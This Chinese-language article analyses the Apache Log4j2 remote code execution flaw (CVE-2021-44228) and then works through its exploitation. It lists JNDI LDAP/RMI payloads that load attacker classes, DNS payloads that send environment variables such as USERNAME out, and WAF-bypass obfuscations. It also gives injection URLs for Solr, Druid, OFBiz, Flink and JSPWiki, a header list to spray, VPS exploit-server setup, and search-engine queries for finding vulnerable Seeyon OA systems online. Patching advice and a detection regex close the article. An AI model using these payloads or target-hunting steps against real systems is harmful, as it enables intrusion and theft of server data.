原创作者:逸尘
最全的 Apache Log4j2 远程代码执行漏洞 研究分析文章
Apache Log4j2 是一个开源的 Java 日志框架,被广泛地应用在中间件、开发框架与 Web 应用中, Apache Log4j2 组件存在远程代码执行漏洞,该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
CVE-2021-44228
影响范围广,工具/武器化成熟、历史重大漏洞、红队打点必备、服务器权限、漏洞价值大、供应链风险
影响范围:
Apache Log4j 2.x<=2.14.1 /
Apache Log4j2 2.15.0-rc1
**注:**使用Apache Log4j 1.X版本的应用,若开发者对JMS Appender利用不当,可对应用产生潜在的安全影响。
Spring Boot 是一个基于Spring框架,用于开发Web应用和微服务的开源框架。
Apache Struts2 是一个基于MVC架构的Java Web应用框架,用于构建企业级Java Web应用程序。
Apache Solr 是一个基于Lucene的搜索平台,用于帮助用户快速地进行全文搜索及相关性查询。
Apache Flink 是一个基于流处理的分布式计算框架,用于高效地处理数据流和批数据,并支持丰富的流处理API。
Apache Druid 是一种用于实时查询和分析流式和批量数据的高性能、分布式的列存储数据库。
ElasticSearch 是一个基于Lucene的分布式搜索和分析引擎,被广泛应用于大规模数据搜索和企业级日志分析。
Apache Flume 是一种可靠、分布式的、高可扩展性的日志存储和聚合系统。
Dubbo 是一个高性能、轻量级的分布式服务框架,提供了基于RPC调用的远程服务调用功能。
Redis 是一种开源的高性能、非关系型的内存数据存储系统,广泛应用于缓存和会话管理等场景。
Logstash 是一种流处理工具,可用于将数据从不同来源采集、转换和传输到不同的存储后端。
Kafka 是一个高吞吐量、低延迟的分布式消息系统,可用于构建高性能、可伸缩的数据流处理应用。
VMware 是一种虚拟化软件,被广泛应用于构建和管理虚拟机和云计算基础设施。
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
此漏洞影响广泛,开源组件中有近两万项目使用该存在漏洞的模块,绝对是目前为止影响最为广泛的漏洞。
Apache Log4j 2.15.0-rc2(与官网的2.15.0稳定版相同)
Apache Log4j 2.15.1-rc1
漏洞的核心主要是在内容中一旦发现日志中包含 ${}
就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
在Log4j2中提供了变量占位符,使用${}
包围变量名,可以在日志记录中输出上下文信息。在运行时,这些占位符会被替换为相应的值。
以下是每个占位符的简要说明:
${ctx:loginId} 从 ThreadContext 中获取名为 loginId 的值。
${map:type} 从 ThreadContext 中的 map 中获取名为 type 的值。
${filename} 记录当前日志的源文件名。
${date:MM-dd-yyyy} 记录当前日期,格式为 月-日-年 。
${docker:containerId} 记录当前应用程序运行的 Docker 容器 ID。
${env:USER} 记录当前用户的用户名。
${event:Marker} 获取事件中与给定标记关联的信息。
${mdc:UserId} 从 MDC(Mapped Diagnostic Context)中获取名为 UserId 的值。
${java:runtime} 记录当前 Java 运行时的版本号。
${java:vm} 记录 Java 虚拟机的名称。
${java:os} 记录操作系统的名称。
${jndi:logging/context-name} 获取 JNDI 上下文中名为 logging/context-name 的值。
${hostName} 记录当前主机名。
${k8s:*} 记录 Kubernetes 环境中有关应用程序当前运行上下文(如容器名称,命名空间名称等)
${log4j:configLocation} 记录 Log4j2 配置文件的位置。
${marker:name} 获取携带给定名称的标记的信息。
${spring:*} 记录 Spring 应用程序中相关信息的值,如应用程序名称。
${main:*} 记录启动日志中使用的命令行参数。
${name} 如果可用,记录当前日志记录器的名称。
${marker} 如果可用,记录当前事件中指定的标记。
${sys:logPath} 从系统的环境变量中获取名为 logPath 的值。
${web:rootDir} 记录 Web 应用程序根目录的名称。
在构造语句执行时,log4j日框架志在打印日志,当遇到 ${
后,“Interpolator 类”以 :
号作为分割,将表达式内容分割成两部分,这里的**Interpolator 类(**是一个字符串替换工具,它可以在字符串中查找特定的关键字并将其替换为指定的值),而在前面部分作为 前缀(prefix),后面部分作为 键(key),然后通过前缀去lookup查找找对应的实例,调用 lookup 方法,最后将 key 作为参数带入执行。
当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy}
此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”
这样做就不需要开发者自己去编写查找日期的代码,这样极大的方便了开发者。
${}
除了支持日期,还支持输出系统环境变量等功能,其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最主要的原因是log4j还支持JNDI协议。JNDI它会提供一个目录系统,将服务名称与对象关联起来,类似于输入name 调用对象。调用使用的子协议,例如ldap轻量级目录访问协议,它类似于字典,即输入name查询对象包含的属性,所以JNDI支持命名引用的方式,可以远程下载一个class文件,然后加载起来构建对象。
攻击者在漏洞点注入表达式如:
-->${jndi:ldap://xxx.xxx.xxx/exploit}
-->log4j2支持lookup
-->JNDI
-->ldap/rmi
-->远程加载攻击者服务器上的class文件构建对象
-->执行恶意代码
当我们将外部输入的数据如浏览器类型记录到日志中时,可能会存在注入攻击的风险。比如攻击者可以在浏览器类型中注入恶意代码,造成系统安全问题。Log4j可以对字符串进行解析,如果发现${}这样的符号,就会进一步解析它,并执行对应的操作。攻击者可以利用这个漏洞,通过JNDI扩展内容请求Java对象,包括远程下载class文件并构建对象等,从而实现恶意攻击。
lookups是查找搜索的意思, 是用于查找或获取存储在不同数据结构中数据的接口,以键或索引作为查找方式。
在log4j2中,就是在输出日志的时候,通过lookup方法去查找要输出的内容**${}**,具体查询数据存储的位置和方式需要通过代码实现。
该接口类似于面向对象编程中的概念。所幸log4j已经为开发者封装好了常见的查找功能模块,通过使用log4j的API,我们可以轻松地查找到日志记录器并实现日志记录。
根据官方文档,JNDI 全称为 (Java Naming and Directory Interface),即 JAVA命名和目录接口。
它提供一个目录系统,将服务名称与对象关联起来,简单来说就是通过名称查找实际对象的服务。
JNDI体系结构主要包含三个组件:命名系统、目录系统、服务提供者接口(SPI),如下图中 JNDI 为不同的目录服务提供统一的操作接口 ,JDK 中包含了下述内置的目录服务:
它提供了一个层次化的命名空间和标准API,可以用来将对象与名称相互映射,并提供了基本的名称解析、搜索和绑定等操作。
DNS服务 通过域名寻找 ip 地址、
文件系统服务 通过文件名定位到具体文件、
以及 LDAP即轻量级目录访问协议都是名称服务,不同的是 LDAP是一个协议,是和 HTTP 一样是通用的,而不止局限于 JAVA.
通俗点来讲类似于一个字典的数据源,通过JNDI这个接口,传入name进去,就能获取到对象。不同的数据源有不同的查找方式,而且JNDI也只是一个上层封装,在它下面有很多种具体的数据源,如LDAP,DNS,NIS,NDS,RMI。
目录系统可以用来存储和查找与对象相关的元数据信息,不仅提供命名到对象的映射,还提供对象的属性信息,方便管理和检索,并提供对象属性操作执行的功能,总体来说,目录服务是名称服务的扩展,它提供了更丰富的元数据信息,提高了对象的管理和检索能力
目录服务中的对象可以有多个描述其特征和特性的属性
比如用户对象可以有用户名、密码、邮件地址、角色等属性,计算机对象可以有IP地址、MAC地址、操作系统版本等属性。
在名称服务中根据打印机名称获取打印机对象,并进行打印操作。
而用户可以通过目录服务,针对打印机需求,根据分辨率等属性进行搜索获取符合条件的打印机对象。
SPI提供了一套标准的接口,允许开发人员实现自己的命名和目录服务。
开发人员可以根据自己的需要,实现自己的命名和目录服务,并针对这些自定义的服务实现JNDI SPI接口。
LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。
LDAP 目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,我们可以理解为是一个为可以查询、浏览和搜索而优化的分布式数据库,它呈树状结构组织数据,简单点理解:就是有一个类似于字典的数据源,可以通过LDAP协议,lookup查询传一个name进去,就能获取到数据。
RMI是Java中的一种远程方法调用机制,使用RMI,可以在不同的Java虚拟机(JVM)之间进行对象之间的方法调用。RMI使用了面向对象的技术,允许Java对象在远程服务器上实现具体的方法,并提供接口。客户端只需要关心接口,不需要了解方法的具体实现方式,只需提供相应的参数即可调用远程方法并获取执行结果。
log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,从网上大家的测试来看,主要使用 ldap 来构造 payload,详细参考这里:
${jndi:ldap://127.0.0.1:1389/ Badclassname}
${jndi:ldap://xxx.xxx.xxx.xxx/exp}
//Windows
${jndi:dns://${env:OS}.dnslog.com}
${jndi:dns://${env:USERNAME}.dnslog.com}
//过waf
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
ID | usage | method |
---|---|---|
1 | ${java:version} | getSystemProperty(“java.version”) |
2 | ${java:runtime} | getRuntime() |
3 | ${java:vm} | getVirtualMachine() |
4 | ${java:os} | getOperatingSystem() |
5 | ${java:hw} | getHardware() |
6 | ${java:locale} | getLocale() |
id | usage |
---|---|
1 | ${env:CLASSPATH} |
2 | ${env:HOME} |
3 | ${env:JAVA_HOME} |
4 | ${env:LANG} |
5 | ${env:LOGNAME} |
6 | ${env:MAIL} |
7 | ${env:PATH} |
8 | ${env:PWD} |
9 | ${env:SHELL} |
10 | ${env:USER} |
id | usage |
---|---|
1 | ${env:A8_HOME} |
2 | ${env:A8_ROOT_BIN} |
3 | ${env:CLASSPATH} |
4 | ${env:JRE_HOME} |
5 | ${env:Java_Home} |
6 | ${env:LOGONSERVER} |
7 | ${env:OS} |
8 | ${env:Path} |
9 | ${env:USERDOMAIN} |
10 | ${env:USERNAME} |
id | usage |
---|---|
1 | ${sys:java.version} |
2 | ${sys:os.name} |
3 | ${sys:os.version} |
4 | ${sys:user.name} |
OFBiz < v18.12.03
GET: https://0.0.0.0:8443/webtools/control/main
Cookie: OFBiz.Visitor=${jndi:ldap://0.0.0.0/123}
POST: https://0.0.0.0:8443/webtools/control/setLocaleFromBrowser
Content-Type: text/html;charset=UTF-8${jndi:ldap://0.0.0.0/123}
v7.4.0 <= Solr <= v7.7.3
v8.0.0 <= Solr < v8.11.1
/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://0.0.0.0/123%7D&wt=json
/solr/admin/info/system?_=${jndi:ldap://0.0.0.0/123}&wt=json
/solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=${jndi:ldap://0.0.0.0/123}&name=&schema=&wt=
burp 传 payload,阻止 url 编码
http://0.0.0.0:8888/druid/coordinator/${jndi:ldap://0.0.0.0/123}
http://0.0.0.0:8888/druid/indexer/${jndi:ldap://0.0.0.0/123}
JSPWiki = V2.11.0
http://0.0.0.0:8888/druid/v2/${jndi:ldap://0.0.0.0/123}
有过滤,需要使用绕过语句触发
docker pull apache/jspwiki:release-2.11.0
docker run -d -p 8080:8080 apache/jspwiki:release-2.11.0
http://0.0.0.0:8080/wiki/$%7Bjndi:ldap:$%7B::-/%7D/0.0.0.0/123%7D
四个系列:< v1.14.2, < v1.13.5, < v1.12.7, < v1.11.6
http://0.0.0.0:8080/Edit.jsp?page=Main
X-Forwarded-For:${jndi:dns://0.0.0.0/123}
url 双编码绕过 //
GET: http://0.0.0.0:8081/jars/11.jar/plan?entry-class=1¶llelism=1${jndi:dns://0.0.0.0/123}&program-args=1
SkyWalking < v8.9.1
POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run
…
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
部署控制服务端不方便的话,可以借助dnslog网站测试
测试环境
掌控安全靶场:http://d63bb2586.lab.aqlab.cn/
环境是:SpringBoot版本 2.6.1 log4j版本 2.14.1 java8
Dnslog官网: http://www.dnslog.cn/
打开网页后是在username登录框中,随便输入几个字符,点击登录打开burp抓取数据包,在username处替换,构造payload:${jndi:ldap://xxxx.dnslog.cn}
这里我们插入的注入点是username登录框的账号位置,注意,log4j他是日志框架,会记录日志,我们需要找到的是他能记录日志的位置,不一定是框,这里可能是UA,或者cookie,路径等等位置,插入之后如下所示
burp有个log4j的插件,使用一般,基于burp被动扫描探测,插入payload进行测试。
通过以上配置,走burp的流量,就会被动检测(不怎么好用)通过检测结果进行下一步操作。
使用xray漏洞扫描器扫log4j漏洞是不错的选择,使用前需要我们配置反连平台,没有反连平台扫描不出来log4j。
将xray上传到服务器后打开 config.yaml 修改以下语句。
这样保存之后即可,注意服务器是指VPS,具备公网ip的系统,不是本地,配置完成后,在服务器,执行启动语句 nohup ./xray_linux_amd64 reverse &,即可在服务器后台默认开启反连平台
在xray本地config.yaml文件中打开,修改以下内容
当我们配置完成后,针对一些测试域名资产进行扫描
漏洞证明如下
挖洞中遇到存在log4j2远程命令执行漏洞的较多的就是致远OA,无论是致远A6还是A8,十个致远OA里总能找到一两个存在漏洞的
fofa引擎搜索语法:
app="致远互联-OA"
app="致远A8"
app="致远A6"
...
使用类似于JNDIInject-1.2-SNAPSHOT.jar的工具在公网服务器搭建一个平台启动
java -jar JNDIInject-1.2-SNAPSHOT.jar
之后再抓包在注入点处进行利用
POST /XXX/XXXX HTTP/1.1
Host: XXXX.COM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
username=XXXX${jndi:rmi://VPS:ip/利用链/}&password=XXX
1.目前官方已发布Apache Log4j 2.15.1-rc1(测试版)及Apache Log4j 2.15.0(稳定版)修复该漏洞,建议受影响用户可将Apache Log4j所有相关应用到以上版本
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.1-rc1
https://logging.apache.org/log4j/2.x/download.html
ps:若用户目前已经升级为Log4j 2.15.0-rc1或Log4j 2.15.0-rc2版本,默认配置下已不受该漏洞影响;请确定相关业务是否需要使用lookup功能,如果需要开启,请考虑升级到Log4j 2.15.1-rc1版本进行解决。
2.升级供应链中已知受影响的应用及组件
注:防止升级过程出现意外,建议相关用户在备份数据后再进行操作。
1. ****\$\s*\{\s*(date|java|marker|ctx|lower|upper|jndi|main|jvmrunargs|sys|env|log4j|:)\s*:[\x20-\x7e]+****
2. ****\$\s*\{\s*(date|java|marker|ctx|lower|upper|jndi|main|jvmrunargs|sys|env|log4j|:)\s*:[\x20-\x7e]+****
3. ****\$\s*\{\s*(date|java|marker|ctx|lower|upper|jndi|main|jvmrunargs|sys|env|log4j|:)\s*:[\x20-\x7e]+****
4. ****\$\s*\{\s*(date|java|marker|ctx|lower|upper|jndi|main|jvmrunargs|sys|env|log4j|:)\s*:[\x20-\x7e]+****
1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4.部署使用第三方防火墙产品进行安全防护。
[JNDI注入漏洞的前世今生] https://blog.csdn.net/u010206565/article/details/121893373
[Log4j2漏洞复现] https://blog.csdn.net/qq_43719932/article/details/121922387